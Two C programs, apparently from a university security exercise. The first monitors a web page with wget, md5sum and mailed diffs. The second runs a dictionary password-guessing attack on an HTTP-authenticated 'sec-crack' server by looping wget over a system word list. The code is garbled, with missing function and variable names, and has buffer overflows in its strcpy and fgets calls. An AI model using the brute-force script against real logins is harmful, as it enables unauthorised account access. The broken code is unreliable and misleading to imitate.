#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#define TRUE 0
()
{
FILE *fp;
system("rmdir ./www.cs.rmit.edu.");
char chk[1];
strcpy(chk,"n");
  while(1)
  {
       
   	system("wget -p http://www.cs.rmit.edu./students/");
		
		system("md5sum ./www.cs.rmit.edu./images/*.* > ./www.cs.rmit.edu./text1.txt");
		
		
		if (strcmp(chk,"n")==0)		
		{		
		system("mv ./www.cs.rmit.edu./text1.txt   ./text2.txt");
		system("mkdir ./");
		
		system("mv ./www.cs.rmit.edu./students/index.html ./");
		}
		else
		{
		
		
		system(" diff ./www.cs.rmit.edu./students/index.html .//index.html | mail @cs.rmit.edu. ");
		system(" diff ./www.cs.rmit.edu./text1.txt ./text2.txt | mail @cs.rmit.edu. ");
		system("mv ./www.cs.rmit.edu./students/index.html ./");
		system("mv ./www.cs.rmit.edu./text1.txt   ./text2.txt");				
		}
		sleep(86400);
		strcpy(chk,"y");
		
	}
}		    	      
      
      

#include<stdio.h>
#include<string.h>
#include<strings.h>
#include<stdlib.h>
#include<sys/time.h>

()
{
	int i,m,k,count=0;
	FILE* diction;
	FILE* log;
	char s[30];
	char pic[30];
	char add[1000];
	char end[100];
	time_t ,finish;
	double ttime;
	
	strcpy(add,"wget --http-user= --http-passwd=");
	strcpy( end,"-nv -o logd http://sec-crack.cs.rmit.edu./SEC/2/");
	diction=fopen("/usr/share/lib/dict/words","r");
	=time(NULL);
	while(fgets(s,100,diction)!=NULL)	
	{	
		printf("%s\n",s);
		for(m=40,k=0;k<(strlen(s)-1);k++,m++)
		{
			add[m]=s[k];
		}
		add[m++]=' ';
		for(i=0;i<50;i++,m++)
		{
			add[m]=end[i];
		}
		add[m]='\0';
		
		system(add);
		count++;
		log=fopen("logd","r");
		fgets(pic,100,log);
		printf("%s",pic);
		if(strcmp(pic,"Authorization failed.\n")!=0)	
		{
			finish=time(NULL);
			ttime=difftime(,finish);
			printf( "\n The time_var take:%f/n The  of passwords tried is %d\n",ttime,count);
			break;
		}
		fclose(log);
	}

}
